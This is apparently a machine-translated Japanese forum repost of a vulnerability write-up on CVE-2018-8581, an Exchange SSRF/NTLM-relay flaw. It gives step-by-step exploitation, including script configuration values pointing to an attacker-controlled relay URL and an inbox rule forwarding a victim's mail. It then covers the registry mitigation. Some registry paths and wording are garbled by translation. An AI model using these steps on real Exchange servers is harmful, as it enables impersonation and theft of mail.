Jump to content

0x00はじめに

これは、2018年のトップ5の興味深いケースシリーズの3番目のケースです。これらの脆弱性にはすべて、今年リリースされた約1,400のレポートとは一線を画す要因があります。今日は、認証されたユーザーがExchangeサーバー上の他のユーザーになりすませることができるExchangeの脆弱性を分析します。

ZDIのDustin Childsによる12月の投稿で、彼はExchange Server上のユーザーがそのExchangeサーバーの誰にでも偽装できるようにするExchangeの脆弱性について言及しました。この脆弱性は、イントラネットのハイジャックに使用できますが、フィッシング活動、盗むデータ、またはその他のマルウェア操作に使用される可能性が高くなります。 2018年のトップ5の興味深いケースシリーズの一環として、この記事はこのSSRF(サーバー側のリクエスト偽造)の脆弱性の詳細を掘り下げ、なりすましプロセスの実装方法を示しています。

0x01脆弱性分析

この脆弱性は、SSRFの脆弱性とその他の脆弱性の組み合わせによって引き起こされます。 Exchangeを使用すると、ユーザーはプッシュサブスクリプションに必要なURLを指定でき、サーバーはこのURLに通知を送信しようとします。問題は、Exchange ServerがScredentialCache.DefaultCredentialsを使用して接続することです。

zy4h2qgyjgj7991.png

Exchange Webサービスでは、credentientcache.defaultcredentialsがNT AuthoritySystemで実行されます。これにより、Exchangeサーバーは攻撃者のサーバーにNTLMハッシュを送信します。 Exchange Serverは、デフォルトで次のレジストリキーを設定します:hkey_local_machinesystemcurrentcontrolsetcontrollsadisableloopbackcheck=1も設定します。

これにより、HTTP認証にこれらのNTLMハッシュを使用できます。たとえば、これらのハッシュを使用してExchange Webサービス(EWS)にアクセスできます。 NT AuthoritySystemレベルで実行されるため、攻撃者はTokenserialization Rightの「特権的な」セッションを取得し、SOAPリクエストヘッダーを使用してユーザーになりすまします。

以下は、SIDS-1-5-21-4187549019-2363330540-1546371449-500を使用して管理者になりすまします。

gdyofhhk32v7992.png

0x02脆弱性エクスプロイト

デモンストレーションには、いくつかのPythonスクリプトを使用します。

serverhttp_relayntlm.py - インバウンド接続でntlmハッシュを取得し、ews認証

deck_ews_pushsubscribe.py - pushsubscription ewsがserverhttp_relayntlm.pyを呼び出します

これらのスクリプトはこちらからダウンロードできます。 Python-NTLMモジュールも必要です。

脆弱性の最初のステップは、私たちが偽装したいユーザーのSIDを取得することです。それを使用する1つの可能な方法は、次のとおりです。

1。認定ユーザーとしてOWAにログインします。ここでは、「攻撃者」としてログインします。

wgvxw44rht37993.png

2。次に、新しいフォルダーを作成します。この例では、Temfoldを使用します。コンテキストで「許可.」オプションをクリックします。

4c3vsom5vxb7994.png

3。ここで、あなたがなりすましたい人のメールを追加します。私たちのターゲットは犠牲者@contoso.localです:

1si452e12m17995.png

4. F12キーを押して、ネットワークオプションを選択する必要があります。次に、新しいフォルダーのコンテキストで「許可.」オプションを選択します。

1e5pkd34gli7996.png

5.最初のservice.svc?action=getFolderリクエストの応答を確認する必要があります。方法を見る:

Body-responsemessages-items-0-folders-0-permissionset-permissions-n-userid-sid

この例では、nは2(最新)ですが、すべてを確認して正しいものを見つけることができます。 Primarysmtpaddressは理想的な犠牲者でなければなりません。応答にpermissionsetエントリが含まれていない場合は、別のservice.svc?action=getFolderリクエストを確認する必要があります。

ib54dwjrkci7997.png

6. serverhttp_relayntlm.pyでこのsidを使用して、被害者になりすまします。さらに、Exchangeサーバー上の外部接続を可能にする攻撃者制御コンピューターでブロックされる可能性が低いTCPポートを選択する必要があります。たとえば、TCPポート8080が利用可能になる場合があります。それでは、実際の情報を使用して、serverhttp_relayntlm.pyの次の行を変更しましょう。

HTTPサーバーの#port

#exch_ews_pushsubscribe.pyのevil_httpserver_urlと同じである必要があります

httpport=8080

#次の値を有効なIP/アドレス、ポート、プロトコル(「HTTP」または「HTTPS」)にEWSに置き換える必要があります

Target_ip='cusch2016.contoso.local'

Target_Port=443

proto='https'

#proto='http'

#path to ews

url='/ws/exchange.asmx'

#SMTP攻撃者のメールボックスのアドレス(被害者に送信されたすべてのメールが受信されます)

Attacker='Attacker@contoso.local'

被害者_SID='S-1-5-21-4187549019-2363330540-1546371449-2604'

3lppq22qdwt7998.png

スクリプトに正しい変数があると、開始できます。

pw3n4swpxwv7999.png

7.次のステップは、deck_ews_pushsubscribe.pyスクリプトに適切な変数を設定することです。

#次の値を有効なIP/アドレス、ポート、プロトコル( 'HTTP'または 'https')に置き換える必要があります

ip='exch2016.contoso.local'

TCP_PORT=443

#proto='http'

proto='https'

#credentialsの攻撃者

user='攻撃者'

domain='contoso.local'

pass='p@ssw0rd'

url='/ws/exchange.asmx'

NTLMハッシュを使用するHTTPサーバーの#URLは、被害者のなりすましに

Evil_httpserver_url='http://192.168.50.173:8080/TEST'

tawvfjhdgek8000.png

それが完了したら、次のスクリプトを実行できます。

dbz2nyu02r28001.png

8。最後のステップ。いくつかのイベントトリガープッシュ通知が必要です。しばらく待つことができる場合、または新しい電子メールの作成や送信、新しいファイルの削除など、いくつかのことができる場合

2yzvxrklmje8002.png

成功した場合、Exchange ServerからServerHttp_RelayNtlm.pyへのインバウンド接続を受信する必要があります。

攻撃が成功した場合、最後の応答でupdateInboxRulesResponsEresponseClass="Success"が表示されます。これは、インバウンドルールが被害者のメールボックスに追加され、すべてのインバウンドメールが攻撃者に転送されることを意味します。

すべてが準備ができたので、それをテストする時が来ました。アカウントから被害者に電子メールを送信する必要がありますが、ソースと宛先が同じアドレスである場合、ルールが電子メールを転送しないため、新しいルール(この場合はatters@contoso.local)の宛先と同じではありません。管理者としてログインして、被害者に「敏感な」情報を送信しましょう。

5ijf1w0rugf8003.png

攻撃者の受信トレイを確認すると、メッセージが正常に転送されていることがわかります。

tcvir0xyetq8004.png

ご覧のとおり、新しいメールは攻撃者に転送されます。 AddDelegateやターゲットフォルダーへの編集権限の割り当てなど、他のEWS APIを通じて同様の結果を達成できます。

0x03パッチ

Microsoftは、CVE-2018-8581に脆弱性を割り当て、11月にリリースされたときに緩和策を講じました。実際、この脆弱性はまだ修正されていません。代わりに、Microsoftは、レジストリキーを削除する必要があることを強調しています。このキーを削除して、ループバックチェックを有効にします。上記を思い出して、Exchangeサーバーには、デフォルトで次のレジストリキーが設定されています。

hkey_local_machinesystemcurrentcontrollolsetcontrollsadisableloopbackcheck=1

hkey_local_machinesystemcurrentcontrollollollsollsadisableloopbackcheckキーが削除された場合、脆弱性は不可能です。レジストリキーを削除するには、CMDウィンドウに次のコマンドを入力します。

キーを削除した後、サーバーを再起動または交換する必要はありません。この発表では、将来の交換の更新はデフォルトでレジストリキーを有効にしなくなると述べています。

0x04要約

電子メールは当社のビジネスライフのコアコンポーネントになり、Exchangeサーバーは長年にわたってホットなターゲットでした。脆弱性により、ユーザーのなりすましが可能になり、以前に報告された脆弱性を介して任意のコード実行が可能になります。これらの状況は両方とも、時には最大のセキュリティリスクが内部から来ることを示唆しています。これらの脆弱性は、外部の攻撃者が単一のエントリポイントから企業全体にどのように広がることができるかを示しています。

0 Comments

Recommended Comments

There are no comments to display.

Guest
Add a comment...